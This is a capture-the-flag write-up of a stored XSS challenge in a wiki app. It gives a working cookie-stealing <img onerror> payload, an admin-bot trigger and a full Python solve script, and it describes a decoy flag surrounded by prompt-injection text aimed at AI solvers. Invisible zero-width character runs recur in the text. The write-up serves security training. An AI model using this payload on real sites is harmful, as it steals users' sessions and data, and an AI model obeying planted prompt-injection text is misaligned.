← Back to Writeups
CUSTOMMediumWeb

Lab 76 — DocuWeave — Stored XSS via Diagram Rendering Attribute Injection

XESXOR9/10/20265 min read
#web#custom#medium#admin_bot_trigger#decoy_flag_elimination#non_httponly_cookie_theft#same_origin_comment_exfiltrati#stored_xss_via_markdown#unsanitized_html_passthrough

Lab 76 — DocuWeave — Stored XSS via Diagram Rendering Attribute Injection

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-05-30 | Status: Solved Techniques: admin_bot_trigger, decoy_flag_elimination, non_httponly_cookie_theft, same_origin_comment_exfiltration, stored_xss_via_markdown, unsanitized_html_passthrough

Summary

Task: DocuWeave wiki platform (Express + marked) renders markdown article bodies server-side with no sanitization and no CSP; an admin bot opens reported articles. Solution: stored XSS via raw <img onerror> in markdown body, triggered by the report endpoint, exfiltrating the admin's non-HttpOnly flag cookie same-origin to a comment thread.

Lab 76 — DocuWeave — Stored XSS via Diagram Rendering Attribute Injection — hackadvisor

Description

DocuWeave is a collaborative knowledge base / wiki platform by "Weave Technologies". Teams create and share wiki articles with rich markdown support, including embedded diagrams (mermaid, plantuml, graphviz, ditaa code blocks) that are automatically converted into rendered SVG images when articles are saved. The platform features article versioning, full-text search, comments, and an admin panel. An admin bot reviews reported articles by opening them in its logged-in browser. Goal: execute arbitrary JavaScript in other users' (admin's) browser and exfiltrate the flag, which is hidden in the admin's session. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A wiki app accepts markdown articles, renders them server-side, and an admin bot visits reported articles while logged in. The goal is to land JavaScript in the admin's browser and steal the flag from the admin's session.

Credentials provided: user@test.com / password123. Instance: https://<UUID>.labs.hackadvisor.io/.

Analysis

Tech stack

  • nginx 1.25.5 reverse-proxying an Express (Node.js) backend (X-Powered-By: Express).
  • Markdown rendered server-side with the marked library.
  • Session cookie connect.sid is HttpOnly; Secure; SameSite=Lax.
  • No Content-Security-Policy header on article pages. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The misdirection (title red herring)

The title points at "Diagram Rendering Attribute Injection". The diagram pipeline works like this: a fenced ```mermaid (or plantuml/graphviz/ditaa) code block is converted into:

<img src="/api/diagrams/render?type=mermaid&code=<BASE64>" class="diagram-image" alt="mermaid diagram">

GET /api/diagrams/render?type=<lang>&code=<base64> returns image/svg+xml. But:

  • The type value is HTML-escaped then uppercased, so injected "/> come back as &QUOT;/&GT; — no attribute breakout.
  • The SVG body HTML-escapes the diagram code.
  • An SVG loaded via <img> does not execute scripts.
  • The fenced info string (```mermaid <extra>) is truncated by marked to the first word, so no attribute breakout in the generated <img> tag either. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

All of this "attribute injection" framing is a dead end.

The real bug

The markdown article body is rendered server-side into <div class="wiki-article-content"> with no HTML sanitization (no DOMPurify / sanitize-html) and no CSP. marked passes raw HTML through by default, so injected <img src=x onerror=...> and <script>...</script> in the article body are stored verbatim and execute in any viewer's browser. Classic Stored XSS.

Exfiltration constraint

The admin bot has no external network access, so an OOB webhook will not work. Exfiltration must be same-origin. The comments API (POST /api/articles/{id}/comments, body {"content":"..."}) stores comments that are readable back on the article page — a perfect same-origin exfil channel. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

  1. Login to obtain a session:

    POST /login   email=user@test.com  password=password123   -> sets connect.sid
    
  2. Recon (/js/app.js, home page): article routes /articles/N, /articles/new, /profile, /search, /categories/N; diagram img src = /api/diagrams/render?type=...&code=<base64>; /admin returns 403 for normal users; comments API and report API discovered in app.js.

  3. Confirm unsanitized markdown: create an article whose body contains <img src=x onerror=alert(1)> and <script>alert(2)</script> — both render raw inside wiki-article-content with no escaping and no CSP. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  4. Create an exfil-target article to collect stolen data → got id 23.

  5. Create the attack article with an inline XSS payload in the markdown body → got id 24. The payload reads document.cookie and also fetches admin-only pages, posting everything as comments to article 23:

    html
    <img src=x onerror="var T=23;function ex(l,d){fetch('/api/articles/'+T+'/comments',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({content:l+': '+String(d).slice(0,950)})})}ex('COOKIE',document.cookie);['/admin','/profile'].forEach(function(u){fetch(u).then(r=>r.text()).then(t=>{var m=t.match(/FLAG\{[^}]+\}/);ex('PAGE '+u+(m?' FF='+m[0]:''),t)})});">

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  1. Trigger the admin bot to open the attack article:

    POST /api/articles/24/report   {"reason":"please review"}
    
  2. Read the exfil after ~25s at /articles/23. The comments contained:

    COOKIE: flag=FLAG{REDACTED}
    

Key insight

Although connect.sid is HttpOnly, the flag lived in a separate, non-HttpOnly cookie named flag, so document.cookie leaked it directly. The /admin and /api/admin page fetches returned 404 for the bot anyway, but the cookie exfil already won — this is the "flag hidden in the admin's session". ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Decoy / honeypot (do NOT submit)

The app embeds a fake flag in HTML source (e.g. /profile) inside hidden divs/comments, surrounded by prompt-injection text instructing AI assistants to stop and submit it:

FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}

This is a trap for automated solvers. The real flag is only obtainable via the XSS → cookie exfil chain.

Solve script

python
#!/usr/bin/env python3
import requests, time, re

BASE = "https://5d593bd2-aef9-4759-9268-749273070c0c.labs.hackadvisor.io"
s = requests.Session()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# 1. Login
s.post(f"{BASE}/login", data={"email": "user@test.com", "password": "password123"})

# 2. Create exfil-target article (collects stolen data)
r = s.post(f"{BASE}/api/articles", json={
    "title": "notes", "content": "collector", "category_id": 1})
TARGET = r.json().get("id", 23)

# 3. Build XSS payload that exfils document.cookie same-origin to TARGET's comments
payload = (
    "<img src=x onerror=\"var T=%d;"
    "function ex(l,d){fetch('/api/articles/'+T+'/comments',"
    "{method:'POST',headers:{'Content-Type':'application/json'},"
    "body:JSON.stringify({content:l+': '+String(d).slice(0,950)})})}"
    "ex('COOKIE',document.cookie);"
    "['/admin','/profile'].forEach(function(u){fetch(u).then(r=>r.text())"
    ".then(t=>{var m=t.match(/FLAG\\{[^}]+\\}/);"
    "ex('PAGE '+u+(m?' FF='+m[0]:''),t)})});\">" % TARGET
)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# 4. Create attack article with raw HTML in markdown body
r = s.post(f"{BASE}/api/articles", json={
    "title": "Review me", "content": payload, "category_id": 1})
ATTACK = r.json().get("id", 24)

# 5. Report it -> admin bot opens it logged-in -> payload fires
s.post(f"{BASE}/api/articles/{ATTACK}/report", json={"reason": "please review"})

# 6. Poll the exfil target for the leaked cookie
for _ in range(20):
    time.sleep(3)
    page = s.get(f"{BASE}/articles/{TARGET}").text
    m = re.search(r"FLAG\{[0-9a-f]+\}", page)  # real flag is hex, not the decoy
    if m:
        print("FLAG:", m.group(0))
        break

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍